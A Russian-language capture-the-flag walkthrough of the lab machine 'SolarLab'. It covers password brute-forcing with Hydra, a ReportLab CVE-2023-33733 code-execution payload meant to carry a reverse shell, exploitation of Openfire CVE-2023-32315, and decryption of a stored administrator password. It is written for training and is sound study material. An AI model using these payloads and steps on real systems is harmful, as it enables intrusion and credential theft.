Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/348.

Также на https://boosty.to/kiberdruzhinnik/posts/8261600c-098e-48c4-98fb-123b706632c4 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Проверим, какие порты открыты на сервисе:

PORT     STATE SERVICE       REASON  VERSION
80/tcp   open  http          syn-ack nginx 1.24.0
|_http-server-header: nginx/1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: SolarLab Instant Messenger
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds? syn-ack
6791/tcp open  http          syn-ack nginx 1.24.0
|_http-server-header: nginx/1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Сразу все домены занесем в /etc/hosts.

Веб

Из веб-сервиса нам важен этот скриншот:

alt text

Samba

Самба позволяет анонимный доступ, которыым мы воспользуемся, чтобы скачать файл details-file.xlsx из шары Documents.

Внутри файла обнаружим список кредов:

alt text

Соберем файл users.txt и passwords.txt:

KAlexander
AlexanderK
SClaudia
ClaudiaS
BlakeB
BBlake
al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn

report.solarlab.htb

alt text

С помощью файлов выше попробуем сбрутить пароль гидрой:

$ hydra -L users.txt -P passwords.txt report.solarlab.htb -s 6791 http-post-form "/login:username=^USER^&password=^PASS^:S=302"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 12:10:38
[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6/p:6), ~3 tries per task
[DATA] attacking http-post-form://report.solarlab.htb:6791/login:username=^USER^&password=^PASS^:S=302
[6791][http-post-form] host: report.solarlab.htb   login: ***   password: ***
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 12:10:44

Находим валидные креды, с которыми логинимся внутрь.

alt text

Пробуем заказать себе тренинг с любой нашей картинкой и получаем PDF, который создан с помощью ReportLab.

$ exiftool output.pdf
...
Producer                        : ReportLab PDF Library - www.reportlab.com
...

Находим https://github.com/c53elyas/CVE-2023-33733 и понимаем, что можем выполнять RCE. Воспользуемся для этого Powershell #3 (base64) с revshells.com:

<p>
    <font color="[ [ getattr(pow,Attacker('__globals__'))['os'].system('REVSHELL HERE') for Attacker in [orgTypeFun('Attacker', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
    exploit
    </font>
</p>

Засунем ее в travel_request:

alt text

Флаг пользователя

alt text

Повышение привилегий

Выполним netstat:

alt text

Видим сервер openfire-service на порту 9090 и 9091. Завернем их на локальную машину.

alt text

Здесь обнаруживаем уязвимую версию Openfire 4.7.4, для которой есть обход аутентификации и выполнение RCE - CVE-2023-32315.

Выполнив атаку с помощью этой CVE, перейдем в C:\Program Files\Openfire\embedded-db и обнаружим скрипт, который содержит пароль администратора в зашифрованном виде:

PS> cd "C:\Program Files\Openfire\embedded-db"
PS> type openfire.script
...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'***','Administrator','[email protected]','001700223740785','0')
...
INSERT INTO OFPROPERTY VALUES('passwordKey','***',0,NULL)
...

Воспользуемся https://github.com/c0rdis/openfire_decrypt для расшифровки пароля:

$ git clone https://github.com/c0rdis/openfire_decrypt
$ cd openfire_decrypt
$ javac OpenFireDecryptPass.java
$ java OpenFireDecryptPass *** ***
*** (hex: ***)

Теперь попробуем переиспользовать пароль для логина как Administrator.

Просто воспользуемся RunasCs:

RunasCs.exe Administrator *** s.exe

alt text

Флаг суперпользователя

alt text